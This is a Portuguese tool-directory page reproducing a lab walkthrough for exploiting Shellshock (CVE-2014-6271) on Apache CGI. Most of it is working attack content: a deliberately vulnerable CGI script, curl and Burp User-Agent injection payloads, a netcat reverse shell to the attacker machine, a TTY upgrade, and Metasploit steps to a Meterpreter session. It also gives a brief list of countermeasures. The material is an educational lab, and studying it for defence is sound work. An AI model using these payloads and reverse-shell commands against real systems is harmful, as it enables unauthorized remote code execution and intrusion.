Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2014-6271-Shellshock- — A complete, modern demonstration lab for CVE-2014-6271 (Shellshock), including architecture, exploitation steps, Burp Suite usage, reverse shells, countermeasures, and full command cheat-sheet. | Kitploit
Ferramentas/GitHubGitHub/drhaitham/cve-2014-6271-shellshock-
Vulnerability AnalysisExploitationReverse EngineeringWeb Application ExploitationCTFPenetration TestingCommand and ControlLearning & EducationRed Teaming

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Payload Development
Labs & Practice
GitHubdrhaitham/cve-2014-6271-shellshock-

CVE-2014-6271-Shellshock-

A complete, modern demonstration lab for CVE-2014-6271 (Shellshock), including architecture, exploitation steps, Burp Suite usage, reverse shells, countermeasures, and full command cheat-sheet.

Ver Repositório
há 8 mesesAinda não revisado

Explorando o Shellshock (CVE-2014-6271): Um Laboratório de Demonstração Completo e Moderno

Shellshock (CVE-2014-6271) é uma das vulnerabilidades de execução remota de código mais influentes já descobertas. A falha afeta o Bash e permite que atacantes executem comandos arbitrários simplesmente injetando payloads manipulados em variáveis de ambiente.

Este guia fornece uma demonstração completa e reproduzível usando:

  • Kali Linux (atacante)
  • Metasploitable2 (alvo)
  • curl, Burp Suite, Netcat
  • Um script CGI baseado em Bash criado manualmente

É projetado para ensino, pesquisa, treinamento e conscientização geral sobre segurança cibernética.


📌 Índice

  1. Arquitetura do Laboratório
  2. Criação do Script CGI Vulnerável
  3. Entendendo a Vulnerabilidade Shellshock
  4. Explorando Shellshock com curl
  5. Explorando Shellshock com Burp Suite
  6. Reverse Shell via Shellshock
  7. Atualizando para um TTY Totalmente Interativo
  8. Diagrama da Cadeia de Ataque
  9. Galeria de Capturas de Tela
  10. Contramedidas
  11. Folha de Dicas (Todos os Comandos)
  12. Explorando Shellshock Usando Metasploit
  13. Conclusão

1. Arquitetura do Laboratório

Esta configuração simples de dois nós reflete muitas implantações legadas ainda presentes em sistemas industriais e IoT.


2. Criação do Script CGI Vulnerável

No Metasploitable2:

root@kitploit:~
sudo su
cd /usr/lib/cgi-bin/

cat << 'EOF' > shellshock.sh
#!/bin/bash
echo "Content-type: text/html"
echo
echo "<pre>"
env
echo "</pre>"
EOF

chmod +x shellshock.sh
a2enmod cgi
service apache2 restart

Teste o script a partir do Kali:

root@kitploit:~
curl http://192.168.1.5/cgi-bin/shellshock.sh

Você deve ver as variáveis de ambiente exibidas.


3. Entendendo a Vulnerabilidade Shellshock

O Shellshock ocorre quando o Bash analisa incorretamente variáveis de ambiente que se assemelham a definições de função.

Uma variável maliciosa como:

root@kitploit:~
() { :; }; /bin/bash -c "id"

fará com que o Bash execute o comando após a definição da função — mesmo que a função nunca seja invocada.

Aplicações CGI são especialmente vulneráveis porque os cabeçalhos HTTP são automaticamente passados para os scripts como variáveis de ambiente.


4. Explorando Shellshock com curl

root@kitploit:~
curl -H 'User-Agent: () { :; }; echo; echo Vulnerable; /bin/bash -c "id"' \
http://192.168.1.5/cgi-bin/shellshock.sh

A saída deve incluir:

root@kitploit:~
Vulnerable
uid=33(www-data)

Isso confirma a execução remota de código.


5. Explorando Shellshock com Burp Suite

5.1 Enviar Requisição Normal

Visite:

root@kitploit:~
http://192.168.1.5/cgi-bin/shellshock.sh

Envie a requisição para o Repeater.

5.2 Injetar Payload Shellshock

Substitua o cabeçalho User-Agent por:

root@kitploit:~
User-Agent: () { :; }; echo; echo BurpTest; /bin/bash -c "id"

5.3 Resposta

Você deve ver:

root@kitploit:~
BurpTest
uid=33(www-data)

O Burp Suite confirma a vulnerabilidade de forma visual e educacional.


6. Reverse Shell via Shellshock

Inicie o listener no Kali:

root@kitploit:~
nc -lvnp 4444

Dispare o reverse shell através do script CGI:

root@kitploit:~
curl -H 'User-Agent: () { :; }; /bin/bash -c "nc 192.168.1.4 4444 -e /bin/bash"' \
http://192.168.1.5/cgi-bin/shellshock.sh

Um shell se conectará de volta ao Kali.


7. Atualizando para um TTY Totalmente Interativo

Dentro do reverse shell:

root@kitploit:~
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

Suspenda a sessão:

root@kitploit:~
Ctrl + Z

No Kali:

root@kitploit:~
stty raw -echo; fg

Pressione Enter.

Você agora tem:

  • autocompletar com tab
  • teclas de seta
  • controle de jobs
  • Bash interativo completo

8. Diagrama da Cadeia de Ataque

root@kitploit:~
          ┌────────────────────────┐
          │   Atacante (Kali)      │
          │      192.168.1.4       │
          └───────────┬────────────┘
                      │
     1. Cabeçalho HTTP Malicioso (Shellshock)
                      │
                      ▼
        ┌──────────────────────────┐
        │ Servidor Web Apache (CGI)│
        │     192.168.1.5          │
        └───────────┬──────────────┘
                    │
   2. Cabeçalho → Variável de Ambiente CGI
                    │
                    ▼
      ┌──────────────────────────┐
      │   Bash (Vulnerável)      │
      └───────────┬──────────────┘
                  │
      3. Comando Injetado Executa
                  │
                  ▼
        ┌─────────────────────────┐
        │  Acesso ao shell www-data│
        └───────────┬─────────────┘
                    │
        4. Reverse Shell → Kali
                    │
                    ▼
      ┌──────────────────────────┐
      │ TTY Interativo Completo  │
      └──────────────────────────┘

9. Galeria de Capturas de Tela

Uma demonstração visual das principais etapas do ataque.

DescriçãoImagem

10. Contramedidas

✔ 1. Atualizar o Bash

Aplicar patch para uma versão que trate corretamente a análise de funções.

✔ 2. Desabilitar CGI

CGI legado introduz risco sistêmico desnecessário.

✔ 3. Sanitizar Cabeçalhos HTTP

Descartar padrões suspeitos como:

root@kitploit:~
() { :; };

✔ 4. Usar Menor Privilégio

Restringir permissões do usuário do servidor web (www-data).

✔ 5. Restrições de Conexão de Saída

Impede reverse shells e exfiltração de dados.

✔ 6. Implantar um Firewall de Aplicação Web (WAF)

Assinaturas modernas de WAF detectam Shellshock imediatamente.

✔ 7. Ativar SELinux / AppArmor

Contém processos Bash e bloqueia comportamentos não intencionais.

✔ 8. Executar Varreduras Regulares de Vulnerabilidades

Usar ferramentas como:

  • Nessus
  • OpenVAS
  • Nikto
  • Nmap NSE (http-shellshock.nse)

11. Folha de Dicas (Todos os Comandos)

Configuração do Alvo

root@kitploit:~
sudo su
cd /usr/lib/cgi-bin/
cat << 'EOF' > shellshock.sh
#!/bin/bash
echo "Content-type: text/html"
echo
echo "<pre>"
env
echo "</pre>"
EOF
chmod +x shellshock.sh
a2enmod cgi
service apache2 restart

Testar CGI

root@kitploit:~
curl http://192.168.1.5/cgi-bin/shellshock.sh

Teste Shellshock

root@kitploit:~
curl -H 'User-Agent: () { :; }; echo; echo Vulnerable; /bin/bash -c "id"' \
http://192.168.1.5/cgi-bin/shellshock.sh

Reverse Shell

root@kitploit:~
nc -lvnp 4444
root@kitploit:~
curl -H 'User-Agent: () { :; }; /bin/bash -c "nc 192.168.1.4 4444 -e /bin/bash"' \
http://192.168.1.5/cgi-bin/shellshock.sh

Atualizar para TTY Completo

Dentro do shell:

root@kitploit:~
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

Suspender:

root@kitploit:~
Ctrl + Z

No Kali:

root@kitploit:~
stty raw -echo; fg

Pressione Enter.


12. Explorando Shellshock Usando Metasploit (msfconsole)

O Metasploit oferece uma forma profissional e automatizada de explorar Shellshock usando o módulo embutido:

root@kitploit:~
exploit/multi/http/apache_mod_cgi_bash_env_exec

Este método é rápido, confiável e oferece preparação automática de payload (ex.: Meterpreter).


12.1 Iniciar Metasploit

root@kitploit:~
msfconsole

12.2 Procurar por Módulos Shellshock

root@kitploit:~
search shellshock

Você deve ver (entre outros):

root@kitploit:~
exploit/multi/http/apache_mod_cgi_bash_env_exec  Apache mod_cgi Bash Environment Variable Code Injection (Shellshock)
auxiliary/scanner/http/apache_mod_cgi_bash_env   Apache mod_cgi Bash Environment Variable Injection (Scanner)

12.3 Carregar o Módulo Exploit

root@kitploit:~
use exploit/multi/http/apache_mod_cgi_bash_env_exec

12.4 Configurar Opções Necessárias

Definir IP alvo:

root@kitploit:~
set rhosts 192.168.1.5

Definir caminho CGI vulnerável:

root@kitploit:~
set targeturi /cgi-bin/shellshock.sh

Definir seu IP Kali:

root@kitploit:~
set lhost 192.168.1.4

Opcionalmente, definir porta de escuta:

root@kitploit:~
set lport 4444

Verificar:

root@kitploit:~
options

Você deve ver:

root@kitploit:~
RHOSTS     192.168.1.5
TARGETURI  /cgi-bin/shellshock.sh
LHOST      192.168.1.4
LPORT      4444
METHOD     GET
HEADER     User-Agent
CVE        CVE-2014-6271

12.5 Lançar o Exploit

root@kitploit:~
run

Em caso de sucesso:

root@kitploit:~
[*] Started reverse TCP handler on 192.168.1.4:4444
[*] Command Stager progress - 100.00%
[*] Sending stage ...
[*] Meterpreter session 1 opened ...

12.6 Interagir com a Sessão Meterpreter

root@kitploit:~
sessions -i 1

Você agora tem:

root@kitploit:~
meterpreter >

12.7 Iniciar um Shell Normal

root@kitploit:~
shell

Depois:

root@kitploit:~
id
hostname

Esperado:

root@kitploit:~
uid=33(www-data) gid=33(www-data)
metasploitable

Você obteve execução remota de comandos usando Metasploit e Shellshock.


13. Conclusão

Esta demonstração mostra como Shellshock pode ser explorado usando simples manipulação de cabeçalhos HTTP, reverse shells, execução de scripts CGI e automação com Metasploit. Apesar de ter mais de uma década, Shellshock continua sendo uma lição importante em:

  • práticas de software seguro
  • sanitização de entrada
  • riscos de sistemas legados
  • técnicas de pós-exploração

Feito com muito amor por:
Haitham de Omã ❤️🇴🇲

Baixar ferramenta
ComponenteFunçãoSOEndereço IPServiços Chave
Kali LinuxAtacanteKali Linux (última)192.168.1.4curl, Burp Suite, Netcat
Metasploitable2Servidor vulnerável alvoUbuntu Linux (MSF2)192.168.1.5Apache 2.2, scripts CGI, Bash
Apache mod_cgiExecução de scriptsExecutado no MSF2n/aExpõe Bash via CGI
shellshock.shPonto de entrada vulnerávelBash CGIn/aExibe variáveis de ambiente
Varredura Nmap + saída do teste Shellshock
Burp Suite – Requisição Shellshock inicial
Burp Suite – Injeção de payload/cabeçalho
Reverse shell recebido no Kali (nc)